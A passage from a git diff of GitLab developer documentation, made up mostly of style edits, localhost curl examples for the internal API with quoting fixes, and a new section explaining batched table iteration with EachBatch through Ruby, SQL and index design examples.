doing an [Unfiltered blog post](https://about.gitlab.com/handbook/marketing/blog/unfiltered/),
- doing a co-branded webinar, or producing a co-branded whitepaper.
+ doing a co-branded webinar, or producing a co-branded white paper.
We have a [video playlist](https://www.youtube.com/playlist?list=PL05JrBw4t0KpMqYxJiOLz-uBIr5w-yP4A)
that may be helpful as part of this process. This covers various topics related to integrating your
diff --git a/doc/development/interacting_components.md b/doc/development/interacting_components.md
index 87bbe30d9fd..50751dcc539 100644
--- a/doc/development/interacting_components.md
+++ b/doc/development/interacting_components.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Developing against interacting components or features
diff --git a/doc/development/internal_api.md b/doc/development/internal_api.md
index e25feda356d..4971e4d629d 100644
--- a/doc/development/internal_api.md
+++ b/doc/development/internal_api.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
@@ -25,7 +25,7 @@ To authenticate using that token, clients read the contents of that
file, and include the token Base64 encoded in a `secret_token` parameter
or in the `Gitlab-Shared-Secret` header.
-NOTE: **Note:**
+NOTE:
The internal API used by GitLab Pages, and GitLab Kubernetes Agent Server (kas) uses JSON Web Token (JWT)
authentication, which is different from GitLab Shell.
@@ -60,7 +60,7 @@ POST /internal/allowed
Example request:
```shell
-curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded token>" --data "key_id=11&project=gnuwget/wget2&action=git-upload-pack&protocol=ssh" http://localhost:3001/api/v4/internal/allowed
+curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded token>" --data "key_id=11&project=gnuwget/wget2&action=git-upload-pack&protocol=ssh" "http://localhost:3001/api/v4/internal/allowed"
```
Example response:
@@ -108,7 +108,7 @@ information for LFS clients when the repository is accessed over SSH.
Example request:
```shell
-curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded token>" --data "key_id=11&project=gnuwget/wget2" http://localhost:3001/api/v4/internal/lfs_authenticate
+curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded token>" --data "key_id=11&project=gnuwget/wget2" "http://localhost:3001/api/v4/internal/lfs_authenticate"
```
```json
@@ -141,7 +141,7 @@ GET /internal/authorized_keys
Example request:
```shell
-curl --request GET --header "Gitlab-Shared-Secret: <Base64 encoded secret>""http://localhost:3001/api/v4/internal/authorized_keys?key=<key as passed by OpenSSH>"
+curl --request GET --header "Gitlab-Shared-Secret: <Base64 encoded secret>" "http://localhost:3001/api/v4/internal/authorized_keys?key=<key as passed by OpenSSH>"
```
Example response:
@@ -242,7 +242,7 @@ GET /internal/two_factor_recovery_codes
Example request:
```shell
-curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "key_id=7" http://localhost:3001/api/v4/internal/two_factor_recovery_codes
+curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "key_id=7" "http://localhost:3001/api/v4/internal/two_factor_recovery_codes"
```
Example response:
@@ -289,7 +289,7 @@ POST /internal/personal_access_token
Example request:
```shell
-curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "user_id=29&name=mytokenname&scopes[]=read_user&scopes[]=read_repository&expires_at=2020-07-24" http://localhost:3001/api/v4/internal/personal_access_token
+curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "user_id=29&name=mytokenname&scopes[]=read_user&scopes[]=read_repository&expires_at=2020-07-24" "http://localhost:3001/api/v4/internal/personal_access_token"
```
Example response:
@@ -323,7 +323,7 @@ POST /internal/pre_receive
Example request:
```shell
-curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "gl_repository=project-7" http://localhost:3001/api/v4/internal/pre_receive
+curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "gl_repository=project-7" "http://localhost:3001/api/v4/internal/pre_receive"
```
Example response:
@@ -355,7 +355,7 @@ POST /internal/post_receive
Example Request:
```shell
-curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "gl_repository=project-7" --data "identifier=user-1" --data "changes=0000000000000000000000000000000000000000 fd9e76b9136bdd9fe217061b497745792fe5a5ee gh-pages\n" http://localhost:3001/api/v4/internal/post_receive
+curl --request POST --header "Gitlab-Shared-Secret: <Base64 encoded secret>" --data "gl_repository=project-7" --data "identifier=user-1" --data "changes=0000000000000000000000000000000000000000 fd9e76b9136bdd9fe217061b497745792fe5a5ee gh-pages\n" "http://localhost:3001/api/v4/internal/post_receive"
```
Example response:
@@ -385,7 +385,7 @@ These endpoints are all authenticated using JWT. The JWT secret is stored in a f
specified in `config/gitlab.yml`. By default, the location is in the root of the
GitLab Rails app in a file called `.gitlab_kas_secret`.
-CAUTION: **Caution:**
+WARNING:
The Kubernetes agent is under development and is not recommended for production use.
### Kubernetes agent information
diff --git a/doc/development/internal_users.md b/doc/development/internal_users.md
index 9f1428dce80..35db2016e1c 100644
--- a/doc/development/internal_users.md
+++ b/doc/development/internal_users.md
@@ -11,7 +11,7 @@ info: "See the Technical Writers assigned to Development Guidelines: https://abo
GitLab uses internal users (sometimes referred to as "bots") to perform
actions or functions that cannot be attributed to a regular user.
-These users are created programatically throughout the codebase itself when
+These users are created programmatically throughout the codebase itself when
necessary, and do not count towards a license limit.
They are used when a traditional user account would not be applicable, for
diff --git a/doc/development/issuable-like-models.md b/doc/development/issuable-like-models.md
index 9029886c334..b3be2b1b2e6 100644
--- a/doc/development/issuable-like-models.md
+++ b/doc/development/issuable-like-models.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Issuable-like Rails models utilities
diff --git a/doc/development/issue_types.md b/doc/development/issue_types.md
index 416aa65b13f..d02ff590352 100644
--- a/doc/development/issue_types.md
+++ b/doc/development/issue_types.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Issue Types
diff --git a/doc/development/iterating_tables_in_batches.md b/doc/development/iterating_tables_in_batches.md
index 062b755de38..3953e7097dd 100644
--- a/doc/development/iterating_tables_in_batches.md
+++ b/doc/development/iterating_tables_in_batches.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Database
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Iterating Tables In Batches
@@ -41,3 +41,334 @@ User Load (0.7ms) SELECT "users"."id" FROM "users" WHERE ("users"."id" >= 4165
The API of this method is similar to `in_batches`, though it doesn't support
all of the arguments that `in_batches` supports. You should always use
`each_batch` _unless_ you have a specific need for `in_batches`.
+
+## Column definition
+
+`EachBatch` uses the primary key of the model by default for the iteration. This works most of the cases, however in some cases, you might want to use a different column for the iteration.
+
+```ruby
+Project.distinct.each_batch(column: :creator_id, of: 10) do |relation|
+ puts User.where(id: relation.select(:creator_id)).map(&:id)
+end
+```
+
+The query above iterates over the project creators and prints them out without duplications.
+
+NOTE:
+In case the column is not unique (no unique index definition), calling the `distinct` method on the relation is necessary.
+
+## `EachBatch` in data migrations
+
+When dealing with data migrations the preferred way to iterate over large volume of data is using `EachBatch`.
+
+A special case of data migration is a [background migration](background_migrations.md#scheduling)
+where the actual data modification is executed in a background job. The migration code that determines
+the data ranges (slices) and schedules the background jobs uses `each_batch`.
+
+## Efficient usage of `each_batch`
+
+`EachBatch` helps iterating over large tables. It's important to highlight that `EachBatch` is not going to magically solve all iteration related performance problems and it might not help at all in some scenarios. From the database point of view, correctly configured database indexes are also necessary to make `EachBatch` perform well.
+
+### Example 1: Simple iteration
+
+Let's consider that we want to iterate over the `users` table and print the `User` records to the standard output. The `users` table contains millions of records, thus running one query to fetch the users will likely time out.
+
+![Users table overview](img/each_batch_users_table_v13_7.png)
+
+This is a simplified version of the `users` table which contains several rows. We have a few smaller gaps in the `id` column to make the example a bit more realistic (a few records were already deleted). Currently we have one index on the `id` field.
+
+Loading all users into memory (avoid):
+
+```ruby
+users = User.all
+
+users.each { |user| puts user.inspect }
+```
+
+Use `each_batch`:
+
+```ruby
+# Note: for this example I picked 5 as the batch size, the default is 1_000
+User.each_batch(of: 5) do |relation|
+ relation.each { |user| puts user.inspect }
+end
+```
+
+#### How does `each_batch` work?
+
+As the first step, it finds the lowest `id` (start `id`) in the table by executing the following database query:
+
+```sql
+SELECT "users"."id" FROM "users" ORDER BY "users"."id" ASC LIMIT 1
+```
+
+![Reading the start id value](img/each_batch_users_table_iteration_1_v13_7.png)
+
+Notice that the query only reads data from the index (`INDEX ONLY SCAN`), the table is not accessed. Database indexes are sorted so taking out the first item is a very cheap operation.
+
+The next step is to find the next `id` (end `id`) which should respect the batch size configuration. In this example we used batch size of 5. `EachBatch` uses the `OFFSET` clause to get a "shifted" `id` value.
+
+```sql
+SELECT "users"."id" FROM "users" WHERE "users"."id" >= 1 ORDER BY "users"."id" ASC LIMIT 1 OFFSET 5
+```
+
+![Reading the end id value](img/each_batch_users_table_iteration_2_v13_7.png)
+
+Again, the query only looks into the index. The `OFFSET 5` takes out the sixth `id` value: this query reads a maximum of six items from the index regardless of the table size or the iteration count.
+
+At this point we know the `id` range for the first batch. Now it's time to construct the query for the `relation` block.
+
+```sql
+SELECT "users".* FROM "users" WHERE "users"."id" >= 1 AND "users"."id" < 302
+```
+
+![Reading the rows from the users table](img/each_batch_users_table_iteration_3_v13_7.png)
+
+Notice the `<` sign. Previously six items were read from the index and in this query the last value is "excluded". The query will look at the index to get the location of the five `user` rows on the disk and read the rows from the table. The returned array is processed in Ruby.
+
+The first iteration is done. For the next iteration, the last `id` value is reused from the previous iteration in order to find out the next end `id` value.
+
+```sql
+SELECT "users"."id" FROM "users" WHERE "users"."id" >= 302 ORDER BY "users"."id" ASC LIMIT 1 OFFSET 5
+```
+
+![Reading the second end id value](img/each_batch_users_table_iteration_4_v13_7.png)
+
+Now we can easily construct the `users` query for the second iteration.
+
+```sql
+SELECT "users".* FROM "users" WHERE "users"."id" >= 302 AND "users"."id" < 353
+```
+
+![Reading the rows for the second iteration from the users table](img/each_batch_users_table_iteration_5_v13_7.png)
+
+### Example 2: Iteration with filters
+
+Building on top of the previous example, we want to print users with zero sign-in count. We keep track of the number of sign-ins in the `sign_in_count` column so we write the following code:
+
+```ruby
+users = User.where(sign_in_count: 0)
+
+users.each_batch(of: 5) do |relation|
+ relation.each { |user| puts user.inspect }
+end
+```
+
+`each_batch` will produce the following SQL query for the start `id` value:
+
+```sql
+SELECT "users"."id" FROM "users" WHERE "users"."sign_in_count" = 0 ORDER BY "users"."id" ASC LIMIT 1
+```
+
+Selecting only the `id` column and ordering by `id` is going to "force" the database to use the index on the `id` (primary key index) column, however we also have an extra condition on the `sign_in_count` column. The column is not part of the index, so the database needs to look into the actual table to find the first matching row.
+
+![Reading the index with extra filter](img/each_batch_users_table_filter_v13_7.png)
+
+NOTE:
+The number of scanned rows depends on the data distribution in the table.
+
+- Best case scenario: the first user was never logged in. The database reads only one row.
+- Worst case scenario: all users were logged in at least once. The database reads all rows.
+
+In this particular example the database had to read 10 rows (regardless of our batch size setting) to determine the first `id` value. In a "real-world" application it's hard to predict whether the filtering is going to cause problems or not. In case of GitLab, verifying the data on a production replica is a good start, but keep in mind that data distribution on GitLab.com can be different from self-managed instances.
+
+#### Improve filtering with `each_batch`
+
+##### Specialized conditional index
+
+```sql
+CREATE INDEX index_on_users_never_logged_in ON users (id) WHERE sign_in_count = 0
+```
+
+This is how our table and the newly created index looks like:
+
+![Reading the specialized index](img/each_batch_users_table_filtered_index_v13_7.png)
+
+This index definition covers the conditions on the `id` and `sign_in_count` columns thus makes the `each_batch` queries very effective (similar to the simple iteration example).
+
+It's rare when a user was never signed in so we anticipate small index size. Including only the `id` in the index definition also helps keeping the index size small.
+
+##### Index on columns
+
+Later on we might want to iterate over the table filtering for different `sign_in_count` values, in those cases we cannot use the previously suggested conditional index because the `WHERE` condition does not match with our new filter (`sign_in_count > 10`).
+
+To address this problem, we have two options:
+
+- Create another, conditional index to cover the new query.
+- Replace the index with more generalized configuration.
+
+NOTE:
+Having multiple indexes on the same table and on the same columns could be a performance bottleneck when writing data.
+
+Let's consider the following index (avoid):
+
+```sql
+CREATE INDEX index_on_users_never_logged_in ON users (id, sign_in_count)
+```
+
+The index definition starts with the `id` column which makes the index very inefficient from data selectivity point of view.
+
+```sql
+SELECT "users"."id" FROM "users" WHERE "users"."sign_in_count" = 0 ORDER BY "users"."id" ASC LIMIT 1
+```
+
+Executing the query above results in an `INDEX ONLY SCAN`. However, the query still needs to iterate over unknown number of entries in the index, and then find the first item where the `sign_in_count` is `0`.
+
+![Reading the an ineffective index](img/each_batch_users_table_bad_index_v13_7.png)
+
+We can improve the query significantly by swapping the columns in the index definition (prefer).
+
+```sql
+CREATE INDEX index_on_users_never_logged_in ON users (sign_in_count, id)
+```
+
+![Reading a good index](img/each_batch_users_table_good_index_v13_7.png)
+
+The following index definition is not going to work well with `each_batch` (avoid).
+
+```sql
+CREATE INDEX index_on_users_never_logged_in ON users (sign_in_count)
+```
+
+Since `each_batch` builds range queries based on the `id` column, this index cannot be used efficiently. The DB reads the rows from the table or uses a bitmap search where the primary key index is also read.
+
+##### "Slow" iteration
+
+Slow iteration means that we use a good index configuration to iterate over the table and apply filtering on the yielded relation.
+
+```ruby
+User.each_batch(of: 5) do |relation|
+ relation.where(sign_in_count: 0).each { |user| puts user inspect }
+end
+```
+
+The iteration uses the primary key index (on the `id` column) which makes it safe from statement
+timeouts. The filter (`sign_in_count: 0`) is applied on the `relation` where the `id` is already constrained (range). The number of rows are limited.
+
+Slow iteration generally takes more time to finish. The iteration count is higher and
+one iteration could yield fewer records than the batch size. Iterations may even yield
+0 records. This is not an optimal solution; however, in some cases (especially when
+dealing with large tables) this is the only viable option.
+
+### Using Subqueries
+
+Using subqueries in your `each_batch` query does not work well in most cases. Consider the following example:
+
+```ruby
+projects = Project.where(creator_id: Issue.where(confidential: true).select(:author_id))
+
+projects.each_batch do |relation|
+ # do something
+end
+```
+
+The iteration uses the `id` column of the `projects` table. The batching does not affect the subquery.
+This means for each iteration, the subquery is executed by the database. This adds a constant "load"
+on the query which often ends up in statement timeouts. We have an unknown number of confidential
+issues, the execution time and the accessed database rows depends on the data distribution in the
+`issues` table.
+
+NOTE:
+Using subqueries works only when the subquery returns a small number of rows.
+
+#### Improving Subqueries
+
+When dealing with subqueries, a slow iteration approach could work: the filter on `creator_id` can be part of the generated `relation` object.
+
+```ruby
+projects = Project.all
+
+projects.each_batch do |relation|
+ relation.where(creator_id: Issue.where(confidential: true).select(:author_id))
+end
+```
+
+If the query on the `issues` table itself is not performant enough, a nested loop could be constructed. Try to avoid it when possible.
+
+```ruby
+projects = Project.all
+
+projects.each_batch do |relation|
+ issues = Issue.where(confidential: true)
+
+ issues.each_batch do |issues_relation|
+ relation.where(creator_id: issues_relation.select(:author_id))
+ end
+end
+```
+
+If we know that the `issues` table has many more rows than `projects`, it would make sense to flip the queries, where the `issues` table is batched first.
+
+### Using `JOIN` and `EXISTS`
+
+When to use `JOINS`:
+
+- When there's a 1:1 or 1:N relationship between the tables where we know that the joined record
+(almost) always exists. This works well for "extension-like" tables:
+ - `projects` - `project_settings`
+ - `users` - `user_details`
+ - `users` - `user_statuses`
+- `LEFT JOIN` works well in this case. Conditions on the joined table need to go to the yielded relation so the iteration is not affected by the data distribution in the joined table.
+
+Example:
+
+```ruby
+users = User.joins("LEFT JOIN personal_access_tokens on personal_access_tokens.user_id = users.id")
+
+users.each_batch do |relation|
+ relation.where("personal_access_tokens.name = 'name'")
+end
+```
+
+`EXISTS` queries should be added only to the inner `relation` of the `each_batch` query:
+
+```ruby
+User.each_batch do |relation|
+ relation.where("EXISTS (SELECT 1 FROM ...")
+end
+```
+
+### Complex queries on the relation object
+
+When the `relation` object has several extra conditions, the execution plans might become "unstable".
+
+Example:
+
+```ruby
+Issue.each_batch do |relation|
+ relation
+ .joins(:metrics)
+ .joins(:merge_requests_closing_issues)
+ .where("id IN (SELECT ...)")
+ .where(confidential: true)
+end
+```
+
+Here, we expect that the `relation` query reads the `BATCH_SIZE` of user records and then
+filters down the results according to the provided queries. The planner might decide that
+using a bitmap index lookup with the index on the `confidential` column is a better way to
+execute the query. This can cause unexpectedly high amount of rows to be read and the query
+could time out.
+
+Problem: we know for sure that the relation is returning maximum `BATCH_SIZE` of records, however the planner does not know this.
+
+Common table expression (CTE) trick to force the range query to execute first:
+
+```ruby
+Issue.each_batch(of: 1000) do |relation|
+ cte = Gitlab::SQL::CTE.new(:batched_relation, relation.limit(1000))
+
+ scope = cte
+ .apply_to(Issue.all)
+ .joins(:metrics)
+ .joins(:merge_requests_closing_issues)
+ .where("id IN (SELECT ...)")
+ .where(confidential: true)
+
+ puts scope.to_a
+end
+```
+
+### `EachBatch` vs `BatchCount`
+
+When adding new counters for usage ping, the preferred way to count records is using the `Gitlab::Database::BatchCount` class. The iteration logic implemented in `BatchCount` has similar performance characteristics like `EachBatch`. Most of the tips and suggestions for improving `BatchCount` mentioned above applies to `BatchCount` as well.
diff --git a/doc/development/kubernetes.md b/doc/development/kubernetes.md
index a54798b4c35..a56a0bd48be 100644
--- a/doc/development/kubernetes.md
+++ b/doc/development/kubernetes.md
@@ -1,12 +1,12 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Kubernetes integration - development guidelines
-This document provides various guidelines when developing for GitLab's
+This document provides various guidelines when developing for the GitLab
[Kubernetes integration](../user/project/clusters/index.md).
## Development
diff --git a/doc/development/lfs.md b/doc/development/lfs.md
index 64bc709ff9a..9df1f659654 100644
--- a/doc/development/lfs.md
+++ b/doc/development/lfs.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Git LFS
@@ -9,8 +9,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
## Deep Dive
In April 2019, Francisco Javier López hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`)
-on GitLab's [Git LFS](../topics/git/lfs/index.md) implementation to share his domain
-specific knowledge with anyone who may work in this part of the code base in the future.
+on the GitLab [Git LFS](../topics/git/lfs/index.md) implementation to share his domain
+specific knowledge with anyone who may work in this part of the codebase in the future.
You can find the [recording on YouTube](https://www.youtube.com/watch?v=Yyxwcksr0Qc),
and the slides on [Google Slides](https://docs.google.com/presentation/d/1E-aw6-z0rYd0346YhIWE7E9A65zISL9iIMAOq2zaw9E/edit)
and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/07a89257a140db067bdfb484aecd35e1/Git_LFS_Deep_Dive__Create_.pdf).
diff --git a/doc/development/licensed_feature_availability.md b/doc/development/licensed_feature_availability.md
index f83a57fe1ca..3a6bdbc973f 100644
--- a/doc/development/licensed_feature_availability.md
+++ b/doc/development/licensed_feature_availability.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Licensed feature availability **(STARTER)**
@@ -30,7 +30,7 @@ project.feature_available?(:feature_symbol)
However, for features such as [Geo](../administration/geo/index.md) and
[Load balancing](../administration/database_load_balancing.md), which cannot be restricted
-to only a subset of projects or namespaces, the check will be made directly in
+to only a subset of projects or namespaces, the check is made directly in
the instance license.
1. Add the feature symbol on `EES_FEATURES`, `EEP_FEATURES` or `EEU_FEATURES` constants in
diff --git a/doc/development/licensing.md b/doc/development/licensing.md
index d1808822ba6..d7c2c764883 100644
--- a/doc/development/licensing.md
+++ b/doc/development/licensing.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Licensing and Compatibility
@@ -12,16 +12,16 @@ info: To determine the technical writer assigned to the Stage/Group associated w
In order to comply with the terms the libraries we use are licensed under, we have to make sure to check new gems for compatible licenses whenever they're added. To automate this process, we use the [license_finder](https://github.com/pivotal/LicenseFinder) gem by Pivotal. It runs every time a new commit is pushed and verifies that all gems and node modules in the bundle use a license that doesn't conflict with the licensing of either GitLab Community Edition or GitLab Enterprise Edition.
-There are some limitations with the automated testing, however. CSS, JavaScript, or Ruby libraries which are not included by way of Bundler, NPM, or Yarn (for instance those manually copied into our source tree in the `vendor` directory), must be verified manually and independently. Take care whenever one such library is used, as automated tests won't catch problematic licenses from them.
+There are some limitations with the automated testing, however. CSS, JavaScript, or Ruby libraries which are not included by way of Bundler, NPM, or Yarn (for instance those manually copied into our source tree in the `vendor` directory), must be verified manually and independently. Take care whenever one such library is used, as automated tests don't catch problematic licenses from them.
-Some gems may not include their license information in their `gemspec` file, and some node modules may not include their license information in their `package.json` file. These won't be detected by License Finder, and will have to be verified manually.
+Some gems may not include their license information in their `gemspec` file, and some node modules may not include their license information in their `package.json` file. These aren't detected by License Finder, and must be verified manually.
### License Finder commands
-NOTE: **Note:**
+NOTE:
License Finder currently uses GitLab misused terms of `whitelist` and `blacklist`. As a result, the commands below reference those terms. We've created an [issue on their project](https://github.com/pivotal/LicenseFinder/issues/745) to propose that they rename their commands.
-There are a few basic commands License Finder provides that you'll need in order to manage license detection.
+There are a few basic commands License Finder provides that you need in order to manage license detection.
To verify that the checks are passing, and/or to see what dependencies are causing the checks to fail:
diff --git a/doc/development/logging.md b/doc/development/logging.md
index 14812978f2d..07ec9d53145 100644
--- a/doc/development/logging.md
+++ b/doc/development/logging.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Developers Guide to Logging
@@ -12,7 +12,7 @@ administrators and GitLab team members to diagnose problems in the field.
## Don't use `Rails.logger`
Currently `Rails.logger` calls all get saved into `production.log`, which contains
-a mix of Rails' logs and other calls developers have inserted in the code base.
+a mix of Rails' logs and other calls developers have inserted in the codebase.
For example:
```plaintext
@@ -35,14 +35,14 @@ Completed 200 OK in 166ms (Views: 117.4ms | ActiveRecord: 27.2ms)
These logs suffer from a number of problems:
-1. They often lack timestamps or other contextual information (e.g. project ID, user)
+1. They often lack timestamps or other contextual information (for example, project ID or user)
1. They may span multiple lines, which make them hard to find via Elasticsearch.
1. They lack a common structure, which make them hard to parse by log
forwarders, such as Logstash or Fluentd. This also makes them hard to
search.
-Note that currently on GitLab.com, any messages in `production.log` will
-NOT get indexed by Elasticsearch due to the sheer volume and noise. They
+Note that currently on GitLab.com, any messages in `production.log` aren't
+indexed by Elasticsearch due to the sheer volume and noise. They
do end up in Google Stackdriver, but it is still harder to search for
logs there. See the [GitLab.com logging
documentation](https://gitlab.com/gitlab-com/runbooks/blob/master/logging/doc/README.md)
@@ -73,7 +73,7 @@ importer progresses. Here's what to do:
make it easy for people to search pertinent logs in one place. For
example, `geo.log` contains all logs pertaining to GitLab Geo.
To create a new file:
- 1. Choose a filename (e.g. `importer_json.log`).
+ 1. Choose a filename (for example, `importer_json.log`).
1. Create a new subclass of `Gitlab::JsonLogger`:
```ruby
@@ -99,7 +99,7 @@ importer progresses. Here's what to do:
```
Note that it's useful to memoize this because creating a new logger
- each time you log will open a file, adding unnecessary overhead.
+ each time you log opens a file, adding unnecessary overhead.
1. Now insert log messages into your code. When adding logs,
make sure to include all the context as key-value pairs:
@@ -129,16 +129,16 @@ an Elasticsearch-specific way, the concepts should translate to many systems you
might use to index structured logs. GitLab.com uses Elasticsearch to index log
data.
-Unless a field type is explicitly mapped, Elasticsearch will infer the type from
+Unless a field type is explicitly mapped, Elasticsearch infers the type from
the first instance of that field value it sees. Subsequent instances of that
-field value with different types will either fail to be indexed, or in some
-cases (scalar/object conflict), the whole log line will be dropped.
+field value with different types either fail to be indexed, or in some
+cases (scalar/object conflict), the whole log line is dropped.
GitLab.com's logging Elasticsearch sets
[`ignore_malformed`](https://www.elastic.co/guide/en/elasticsearch/reference/current/ignore-malformed.html),
which allows documents to be indexed even when there are simpler sorts of
mapping conflict (for example, number / string), although indexing on the affected fields
-will break.
+breaks.
Examples:
@@ -177,17 +177,24 @@ challenged to choose between seconds, milliseconds or any other unit, lean towar
(with microseconds precision, i.e. `Gitlab::InstrumentationHelper::DURATION_PRECISION`).
In order to make it easier to track timings in the logs, make sure the log key has `_s` as
-suffix and `duration` within its name (e.g., `view_duration_s`).
+suffix and `duration` within its name (for example, `view_duration_s`).
## Multi-destination Logging
-GitLab is transitioning from unstructured/plaintext logs to structured/JSON logs. During this transition period some logs will be recorded in multiple formats through multi-destination logging.
+GitLab is transitioning from unstructured/plaintext logs to structured/JSON logs. During this transition period some logs are recorded in multiple formats through multi-destination logging.
### How to use multi-destination logging
-Create a new logger class, inheriting from `MultiDestinationLogger` and add an array of loggers to a `LOGGERS` constant. The loggers should be classes that descend from `Gitlab::Logger`. e.g. the user defined loggers in the following examples, could be inheriting from `Gitlab::Logger` and `Gitlab::JsonLogger`, respectively.
+Create a new logger class, inheriting from `MultiDestinationLogger` and add an
+array of loggers to a `LOGGERS` constant. The loggers should be classes that
+descend from `Gitlab::Logger`. For example, the user-defined loggers in the
+following examples could be inheriting from `Gitlab::Logger` and
+`Gitlab::JsonLogger`, respectively.
-You must specify one of the loggers as the `primary_logger`. The `primary_logger` will be used when information about this multi-destination logger is displayed in the app, e.g. using the `Gitlab::Logger.read_latest` method.
+You must specify one of the loggers as the `primary_logger`. The
+`primary_logger` is used when information about this multi-destination logger is
+displayed in the application (for example, using the `Gitlab::Logger.read_latest`
+method).
The following example sets one of the defined `LOGGERS` as a `primary_logger`.
@@ -207,19 +214,19 @@ module Gitlab
end
```
-You can now call the usual logging methods on this multi-logger, e.g.
+You can now call the usual logging methods on this multi-logger. For example:
```ruby
FancyMultiLogger.info(message: "Information")
```
-This message will be logged by each logger registered in `FancyMultiLogger.loggers`.
+This message is logged by each logger registered in `FancyMultiLogger.loggers`.
### Passing a string or hash for logging
When passing a string or hash to a `MultiDestinationLogger`, the log lines could be formatted differently, depending on the kinds of `LOGGERS` set.
-e.g. let's partially define the loggers from the previous example:
+For example, let's partially define the loggers from the previous example:
```ruby
module Gitlab
@@ -304,7 +311,7 @@ It should be noted that manual logging of exceptions is not allowed, as:
1. Very often manually logged exception needs to be tracked to Sentry as well,
1. Manually logged exceptions does not use `correlation_id`, which makes hard
to pin them to request, user and context in which this exception was raised,
-1. It is very likely that manually logged exceptions will end-up across
+1. Manually logged exceptions often end up across
multiple files, which increases burden scraping all logging files.
To avoid duplicating and having consistent behavior the `Gitlab::ErrorTracking`
@@ -356,7 +363,7 @@ end
## Additional steps with new log files
-1. Consider log retention settings. By default, Omnibus will rotate any
+1. Consider log retention settings. By default, Omnibus rotates any
logs in `/var/log/gitlab/gitlab-rails/*.log` every hour and [keep at
most 30 compressed files](https://docs.gitlab.com/omnibus/settings/logs.html#logrotate).
On GitLab.com, that setting is only 6 compressed files. These settings should suffice
diff --git a/doc/development/mass_insert.md b/doc/development/mass_insert.md
index dfffab564bc..4b1716ff00a 100644
--- a/doc/development/mass_insert.md
+++ b/doc/development/mass_insert.md
@@ -1,13 +1,13 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Mass inserting Rails models
Setting the environment variable [`MASS_INSERT=1`](rake_tasks.md#environment-variables)
-when running [`rake setup`](rake_tasks.md) will create millions of records, but these records
+when running [`rake setup`](rake_tasks.md) creates millions of records, but these records
aren't visible to the `root` user by default.
To make any number of the mass-inserted projects visible to the `root` user, run
diff --git a/doc/development/merge_request_performance_guidelines.md b/doc/development/merge_request_performance_guidelines.md
index a5d9a653472..8d5b2db828e 100644
